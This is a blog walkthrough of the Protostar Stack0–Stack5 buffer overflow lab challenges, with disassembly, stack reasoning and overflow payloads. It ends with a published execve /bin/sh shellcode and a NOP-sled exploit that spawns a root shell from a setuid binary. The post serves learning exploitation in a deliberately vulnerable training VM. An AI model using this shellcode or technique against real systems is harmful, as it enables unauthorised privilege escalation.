Buffer Overflow
Buffer Overflows
(The real hacking)
I meant this real hacking cause , this is where you will be understanding the underlying code and then bypassing rather than relaying upon some tool to do the shit for you.
Pre-requisite :
You must have basic knowledge of assembly language
Disclamer :
Don't forget to put on a diving mask while reading this blog cause we are going to get deep
So assuming you already have basic knowledge on assembly lets start learning reverse engineering by solving some challenges by protostar.
Description :
All the binary files we will be exploiting has owner and group owner as root and guess what ? it has setuid on it set :)
Challange 1 :
Protostar Stack0
Task :
So we are supposed to reverse engineer the binary file
So first just execute the binary and see what happening
Fig : 1.1
Fig : 1.2
refering Fig : 1.1 and Fig : 1.2 we can see that upon execution of the binary we are prompted for input and after giving some input and hitting enter we can see a message "Try again?" is show and then we are and we are back to our terminal
So lets debug and disassamble main fuction of the binary
Fig : 1.3
So in Fig : 1.1 we can see the assembly code of the binary code and let's examine it step by step , and draw the stack for analysis , shall we :)
The code :
0x080483f4 <main+0>: push %ebp
0x080483f5 <main+1>: mov %esp,%ebp
0x080483f7 <main+3>: and $0xfffffff0,%esp
0x080483fa <main+6>: sub $0x60,%esp
0x080483fd <main+9>: movl $0x0,0x5c(%esp)
0x08048405 <main+17>: lea 0x1c(%esp),%eax
0x08048409 <main+21>: mov %eax,(%esp)
0x0804840c <main+24>: call 0x804830c <gets@plt>
0x08048411 <main+29>: mov 0x5c(%esp),%eax
0x08048415 <main+33>: test %eax,%eax
0x08048417 <main+35>: je 0x8048427 <main+51>
0x08048419 <main+37>: movl $0x8048500,(%esp)
0x08048420 <main+44>: call 0x804832c <puts@plt>
0x08048425 <main+49>: jmp 0x8048433 <main+63>
0x08048427 <main+51>: movl $0x8048529,(%esp)
0x0804842e <main+58>: call 0x804832c <puts@plt>
0x08048433 <main+63>: leave
0x08048434 <main+64>: ret
Stack that I came up with after analyzing the code :
Fig : 1.4
Don't worry we will look at the code in parts for easier understanding purposes and would also help you as a refresher , So let's see how the stack was built step by step :
Part 1 :
0x080483f4 <main+0>: push %ebp
0x080483f5 <main+1>: mov %esp,%ebp
Fig : 1.5
Part 2 :
0x080483f7 <main+3>: and $0xfffffff0,%esp
0x080483fa <main+6>: sub $0x60,%esp
Fig : 1.6
Part 3 :
0x080483fd <main+9>: movl $0x0,0x5c(%esp)
0x08048405 <main+17>: lea 0x1c(%esp),%eax
0x08048409 <main+21>: mov %eax,(%esp)
0x0804840c <main+24>: call 0x804830c <gets@plt>
Fig : 1.7
Part 4 :
0x08048411 <main+29>: mov 0x5c(%esp),%eax
0x08048415 <main+33>: test %eax,%eax
0x08048417 <main+35>: je 0x8048427 <main+51>
As you can see in the above code we are taking the value 0 into register eax and checking it if it is zero and not changed and if its unchanged then it is jumping to the address 0x8048427
0x08048427 <main+51>: movl $0x8048529,(%esp)
0x0804842e <main+58>: call 0x804832c <puts@plt>
0x08048433 <main+63>: leave
0x08048434 <main+64>: ret
Now its just printing out : " Try again?"
0x08048419 <main+37>: movl $0x8048500,(%esp)
0x08048420 <main+44>: call 0x804832c <puts@plt>
0x08048425 <main+49>: jmp 0x8048433 <main+63>
0x08048433 <main+63>: leave
0x08048434 <main+64>: ret
Now if its not zero then its printing some other text and exiting the main function and so after analysing the code , if we change the variable 0 the jump-if-equal will fail and we can reach the code that's not executed otherwise and it is possible because gets is a vulnerable function as it takes the input even if it execedes the allocated limit . So firstly we should complete our buffer space and then reach the variable 0 to change it .
To change it first we should fill up the space allocated and modify the variable 0 and the allocated space is of 64 bytes and any input more than 64 bytes tampers the variable 0.
So as each alpahbet takes one byte of space we will give 65 ( 64 + 1 ) alphabets or bytes as an input to modify the variable 0.
So let's first give 64 a's as our input and examine the status via a breakpoint
You can use python to generate the number of alphabets you wanted as in Fig : 1.8
Fig : 1.8
After giving a series of A's (64) as input , you can see that we are exactly at the verge of modifying the variable 0 refer Fig : 1.9
Fig : 1.9
And upon adding atleast one more A or any alphabet we will be overwriting the variable 0 and hence will be able to run the other piece of code , refer Fig : 2.0
Fig : 2.0
Fig : 2.1
And in Fig : 2.1 we can see that we sucessfully changed the variable !! and that is the puts function of the codes that is non-executable by default
Challange 2 :
Protostar Stack1
Task :
So we are supposed to reverse engineer the binary file
So first just execute the binary and see what happening
Fig : 2.2
In Fig : 2.2 we can see that output "please specify an argument" , so lets give it an argument and re-execute it
Fig : 2.3
Let's disassamble the main function of the binary , refer Fig : 2.4
Fig : 2.4
Code :
0x08048464 <main+0>: push %ebp
0x08048465 <main+1>: mov %esp,%ebp
0x08048467 <main+3>: and $0xfffffff0,%esp
0x0804846a <main+6>: sub $0x60,%esp
0x0804846d <main+9>: cmpl $0x1,0x8(%ebp)
0x08048471 <main+13>: jne 0x8048487 <main+35>
0x08048473 <main+15>: movl $0x80485a0,0x4(%esp)
0x0804847b <main+23>: movl $0x1,(%esp)
0x08048482 <main+30>: call 0x8048388 <errx@plt>
0x08048487 <main+35>: movl $0x0,0x5c(%esp)
0x0804848f <main+43>: mov 0xc(%ebp),%eax
0x08048492 <main+46>: add $0x4,%eax
0x08048495 <main+49>: mov (%eax),%eax
0x08048497 <main+51>: mov %eax,0x4(%esp)
0x0804849b <main+55>: lea 0x1c(%esp),%eax
0x0804849f <main+59>: mov %eax,(%esp)
0x080484a2 <main+62>: call 0x8048368 <strcpy@plt>
0x080484a7 <main+67>: mov 0x5c(%esp),%eax
0x080484ab <main+71>: cmp $0x61626364,%eax
0x080484b0 <main+76>: jne 0x80484c0 <main+92>
0x080484b2 <main+78>: movl $0x80485bc,(%esp)
0x080484b9 <main+85>: call 0x8048398 <puts@plt>
0x080484be <main+90>: jmp 0x80484d5 <main+113>
0x080484c0 <main+92>: mov 0x5c(%esp),%edx
0x080484c4 <main+96>: mov $0x80485f3,%eax
0x080484c9 <main+101>: mov %edx,0x4(%esp)
0x080484cd <main+105>: mov %eax,(%esp)
0x080484d0 <main+108>: call 0x8048378 <printf@plt>
0x080484d5 <main+113>: leave
0x080484d6 <main+114>: ret
Considering line <main+13> there are two possible cases refer Fig : 2.5
Fig : 2.5
Part 1 :
Firstly Let's look at the True condition :
0x08048464 <main+0>: push %ebp
0x08048465 <main+1>: mov %esp,%ebp
0x08048467 <main+3>: and $0xfffffff0,%esp
0x0804846a <main+6>: sub $0x60,%esp
0x0804846d <main+9>: cmpl $0x1,0x8(%ebp)
0x08048471 <main+13>: jne 0x8048487 <main+35>
0x08048473 <main+15>: movl $0x80485a0,0x4(%esp)
0x0804847b <main+23>: movl $0x1,(%esp)
In Fig : 2.6 you can see the stack diagram
Fig : 2.6
And after that errx function is called in the next instruction
Part 2 :
0x08048482 <main+30>: call 0x8048388 <errx@plt>
Which means we can understand that errx function is called with an exit value of 1 , which means to terminate the program by printing a string as the output and you can see the string in Fig : 2.7
Fig : 2.7
This is the same output we've got when we executed without any argument , to make the jne condition fail we shall provide an argument which then makes the argument count more than 1 :)
Fig : 2.8
Let's examine a code snippet and visualize it :
Part 3 :
0x08048487 <main+35>: movl $0x0,0x5c(%esp)
0x0804848f <main+43>: mov 0xc(%ebp),%eax
0x08048492 <main+46>: add $0x4,%eax
0x08048495 <main+49>: mov (%eax),%eax
0x08048497 <main+51>: mov %eax,0x4(%esp)
0x0804849b <main+55>: lea 0x1c(%esp),%eax
0x0804849f <main+59>: mov %eax,(%esp)
0x080484a2 <main+62>: call 0x8048368 <strcpy@plt>
0x080484a7 <main+67>: mov 0x5c(%esp),%eax
Fig : 2.9
In Fig: 2.9 we can see the stack and where the input is getting added to and next :
Part 4 :
0x080484ab <main+71>: cmp $0x61626364,%eax
0x080484b0 <main+76>: jne 0x80484c0 <main+92>
It's comparing the value of the location 0x5c(%esp) which is 0 initially with the string "abcd"
Fig : 3.0
If the comparision fails then it printing the value at location 0x5c(%esp) which we have already seen in Fig : 2.8
So making stack look like Fig : 3.1 would be our end goal as the comparision will be correct and so we will be successfully bypassing the binary.
Fig : 3.1
In Fig : 3.0 we can see that we are 64 bytes away to reach the variable and next we need to change it to abcd ( 4 bytes length ) . So our payload would be looking something like Fig : 3.2
Fig : 3.2
Challange 3 :
Protostar Stack2
Task :
So we are supposed to reverse engineer the binary file
Fig : 3.3
In Fig : 3.3 upon executing the binary we were been display with a message "please set the GREENIE environment variable"
Time to dig into the assembly code Fig : 3.4:
Fig : 3.4
0x08048494 <main+0>: push %ebp
0x08048495 <main+1>: mov %esp,%ebp
0x08048497 <main+3>: and $0xfffffff0,%esp
0x0804849a <main+6>: sub $0x60,%esp
0x0804849d <main+9>: movl $0x80485e0,(%esp)
0x080484a4 <main+16>: call 0x804837c <getenv@plt>
0x080484a9 <main+21>: mov %eax,0x5c(%esp)
0x080484ad <main+25>: cmpl $0x0,0x5c(%esp)
0x080484b2 <main+30>: jne 0x80484c8 <main+52>
0x080484b4 <main+32>: movl $0x80485e8,0x4(%esp)
0x080484bc <main+40>: movl $0x1,(%esp)
0x080484c3 <main+47>: call 0x80483bc <errx@plt>
0x080484c8 <main+52>: movl $0x0,0x58(%esp)
0x080484d0 <main+60>: mov 0x5c(%esp),%eax
0x080484d4 <main+64>: mov %eax,0x4(%esp)
0x080484d8 <main+68>: lea 0x18(%esp),%eax
0x080484dc <main+72>: mov %eax,(%esp)
0x080484df <main+75>: call 0x804839c <strcpy@plt>
0x080484e4 <main+80>: mov 0x58(%esp),%eax
0x080484e8 <main+84>: cmp $0xd0a0d0a,%eax
0x080484ed <main+89>: jne 0x80484fd <main+105>
0x080484ef <main+91>: movl $0x8048618,(%esp)
0x080484f6 <main+98>: call 0x80483cc <puts@plt>
0x080484fb <main+103>: jmp 0x8048512 <main+126>
0x080484fd <main+105>: mov 0x58(%esp),%edx
0x08048501 <main+109>: mov $0x8048641,%eax
0x08048506 <main+114>: mov %edx,0x4(%esp)
0x0804850a <main+118>: mov %eax,(%esp)
0x0804850d <main+121>: call 0x80483ac <printf@plt>
0x08048512 <main+126>: leave
0x08048513 <main+127>: ret
End of assembler dump.
Part 1 :
0x08048494 <main+0>: push %ebp
0x08048495 <main+1>: mov %esp,%ebp
0x08048497 <main+3>: and $0xfffffff0,%esp
0x0804849a <main+6>: sub $0x60,%esp
0x0804849d <main+9>: movl $0x80485e0,(%esp)
0x080484a4 <main+16>: call 0x804837c <getenv@plt>
Here we can see that we are calling the function getenv which returns a pointer to the string containing the value for the specified varname in the current environment. If getenv() cannot find the environment string, NULL is returned.
Fig : 3.5
Part 2 :
0x080484a9 <main+21>: mov %eax,0x5c(%esp)
0x080484ad <main+25>: cmpl $0x0,0x5c(%esp)
0x080484b2 <main+30>: jne 0x80484c8 <main+52>
0x080484b4 <main+32>: movl $0x80485e8,0x4(%esp)
0x080484bc <main+40>: movl $0x1,(%esp)
0x080484c3 <main+47>: call 0x80483bc <errx@plt>
If it fails to retrive the environment variable a null is returned and so the code is checking if its null using the cmpl instruction and if it is null (0 in our case) then the message "please set the GREENIE environment variable\n" is returned refer Fig : 3.6
Fig : 3.6
So all we need to do is set the environment variable "GREENIE" as it is taken as the source of input instead via argument and the remaining part of the code is simply the same as Challenge 2 just the difference is that it's comparing if the modified variable is a new line.
Fig : 3.7
Commands :
python -c "print ( 'A' * 64 + '\x0a\x0d\x0a\x0d')" > /tmp/output
export GREENIE=$( < /tmp/output)
In Fig : 3.7 we can see that we've sucessfully bypassed the binary file :)
Challange 4 :
Protostar Stack3
Task :
So we are supposed to reverse engineer the binary file and execute a function
Fig : 3.8
In Fig : 3.8 upon executing the binary there is no output but its taking the input and right after it exists
Let's examine the code
Fig : 3.9
Code :
0x08048438 <main+0>: push %ebp
0x08048439 <main+1>: mov %esp,%ebp
0x0804843b <main+3>: and $0xfffffff0,%esp
0x0804843e <main+6>: sub $0x60,%esp
0x08048441 <main+9>: movl $0x0,0x5c(%esp)
0x08048449 <main+17>: lea 0x1c(%esp),%eax
0x0804844d <main+21>: mov %eax,(%esp)
0x08048450 <main+24>: call 0x8048330 <gets@plt>
0x08048455 <main+29>: cmpl $0x0,0x5c(%esp)
0x0804845a <main+34>: je 0x8048477 <main+63>
0x0804845c <main+36>: mov $0x8048560,%eax
0x08048461 <main+41>: mov 0x5c(%esp),%edx
0x08048465 <main+45>: mov %edx,0x4(%esp)
0x08048469 <main+49>: mov %eax,(%esp)
0x0804846c <main+52>: call 0x8048350 <printf@plt>
0x08048471 <main+57>: mov 0x5c(%esp),%eax
0x08048475 <main+61>: call *%eax
0x08048477 <main+63>: leave
0x08048478 <main+64>: ret
This is the same as the previous taskes we've done refer Fig : 1.7 for the stack representation . However the difference lies in this part of the code
0x08048455 <main+29>: cmpl $0x0,0x5c(%esp)
0x0804845a <main+34>: je 0x8048477 <main+63>
0x0804845c <main+36>: mov $0x8048560,%eax
0x08048461 <main+41>: mov 0x5c(%esp),%edx
0x08048465 <main+45>: mov %edx,0x4(%esp)
0x08048469 <main+49>: mov %eax,(%esp)
0x0804846c <main+52>: call 0x8048350 <printf@plt>
0x08048471 <main+57>: mov 0x5c(%esp),%eax
0x08048475 <main+61>: call *%eax
0x08048477 <main+63>: leave
0x08048478 <main+64>: ret
As here it snippet is comparing if the modified variable is zero , if it's true it exists and else it calls the printf function saying "calling function pointer, jumping to (whatever in location of 0x5c(%esp) which is modified variable initially)" and it makes a call with whatever value present in modified variable.
Fig : 4.0
Fig : 4.0 makes things clear as you can also see Segmentation fault cause 0x00004141 is an invalid address
So analysing the code completely if we can replace an existing address with the modified variable then we can redirect our program flow !
Fig : 4.1
In Fig : 4.1 after dumping all the function using objdump
Command :
objdump -D stack3 | less
We can see a function in the binary which is win and the function is doing nothing but printing "code flow successfully changed" refer Fig : 4.2 ( note the address )
Fig : 4.2
So I guess that's what they wanted us to execute and let's do it already
Fig : 4.3
YaY !! we have sucessfully redirected the code flow !!
Challange 5 :
Protostar Stack 4
Task :
So we are supposed to reverse engineer the binary file and execute a function
Fig : 4.4
Stack4 behaves the same as stack3 upon execution
Fig : 4.5
Code :
Dump of assembler code for function main:
0x08048408 <main+0>: push %ebp
0x08048409 <main+1>: mov %esp,%ebp
0x0804840b <main+3>: and $0xfffffff0,%esp
0x0804840e <main+6>: sub $0x50,%esp
0x08048411 <main+9>: lea 0x10(%esp),%eax
0x08048415 <main+13>: mov %eax,(%esp)
0x08048418 <main+16>: call 0x804830c <gets@plt>
0x0804841d <main+21>: leave
0x0804841e <main+22>: ret
Stack4 also looks nothing as exploitable other than making it Segmentation fault , However if you really look into it we have the win function in the stack4 binary as well Fig : 4.6
Fig : 4.6
Which means if we overwite the address that main function returns to after execution , with the address of win function then we will be able to sucessfully redirect the flow of the code which otherwise wouldn't
Fig : 4.6
Let's bypass the binary by refering Fig : 4.6
Fig : 4.7
And we have successfully bypassed the binary !!
Challange 6 :
Protostar Stack 5
This is where things will get real interesting
Task :
We should spawn a root shell , in other words privilage escalation !
Fig : 4.8
In Fig : 4.8 stack5 binary behaves the same as stack3 or 4
Let's dissamble it
Fig : 4.9
Code :
0x080483c4 <main+0>: push %ebp
0x080483c5 <main+1>: mov %esp,%ebp
0x080483c7 <main+3>: and $0xfffffff0,%esp
0x080483ca <main+6>: sub $0x50,%esp
0x080483cd <main+9>: lea 0x10(%esp),%eax
0x080483d1 <main+13>: mov %eax,(%esp)
0x080483d4 <main+16>: call 0x80482e8 <gets@plt>
0x080483d9 <main+21>: leave
0x080483da <main+22>: ret
The code looks very simple , like theres nothing intersting going on !
There's no suspicious functions like win to redirect the code flow sooo what to do now 😶, Well this is where we execute our own shell code 👿 and spawn the root shell .
So we will be entering our shell code into the stack and executing it ourself by overwriting the main's return address with the address that points to the shellcode we entered into the stack and boom !
The shellcode that is going in is :
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x89\xc1\x89\xc2\xb0\x0b"
"\xcd\x80\x31\xc0\x40\xcd\x80";The shellcode isn't created by me , it's already over the internet click here to view it and note that this is 28 bytes long
Fig : 5.0 gives you a good understandingFig : 5.0
However , it is very hard to point to the exact address from where the shellcode start , cause its not always one static or constant address as it changes time to time considering the factors such as the directory you are executing the binary from or the environment variables that are getting loaded into the stack upon execution . And so to address this problem of not able to give the exact address for the start of the shellcode we can use slides :)
Yes, you hear me right , to be specific we shall use nop-sled . So a nop (no operation ) instruction tells to do nothing and move on . And how is it going to hlep us out exactly ?
We are going to create a series of nop instruction which is known as nop-sled and then attach with the payload (Shellcode) that we intend to get executed and so when we start executing , it just leads us to the shellcode Fig : 5.1
Fig : 5.1
In Fig : 5.1 we can see that we just need to overwrite the main's return address with an address that points to somewhere at the middle of the nop-sled which eventually takes it to the ShellCode and this is how it addresses the problem of specifying the address that denotes the exact start of the ShellCode.Let me explain you with the stack , refer Fig : 5.2
Fig : 5.2
In Fig ; 5.2 gives the explanation using the stack diagram
Before crafting the exploit firstly let's see what should our return address be :
( esp + x10 ( starting point of our input ) + x12 ( 18 bytes ) ) points us to the middle of the nop sled
which translates to
0xbffff760 + x10 + x12 = 0xbffff782
It's time to exploit !
Fig : 5. 3
Fig : 5.4
python /tmp/stack5.py > /tmp/payload
( cat /tmp/payload ; cat) | /opt/protostar/bin/stack5
This syntax of cat keeps the pipe open which prevents exiting the program so that we will be able to run shell commands
In Fig : 5.4 we have sucessfully lauched the root shell !!








.png)
.png)
.png)
.png)












Comments
Post a Comment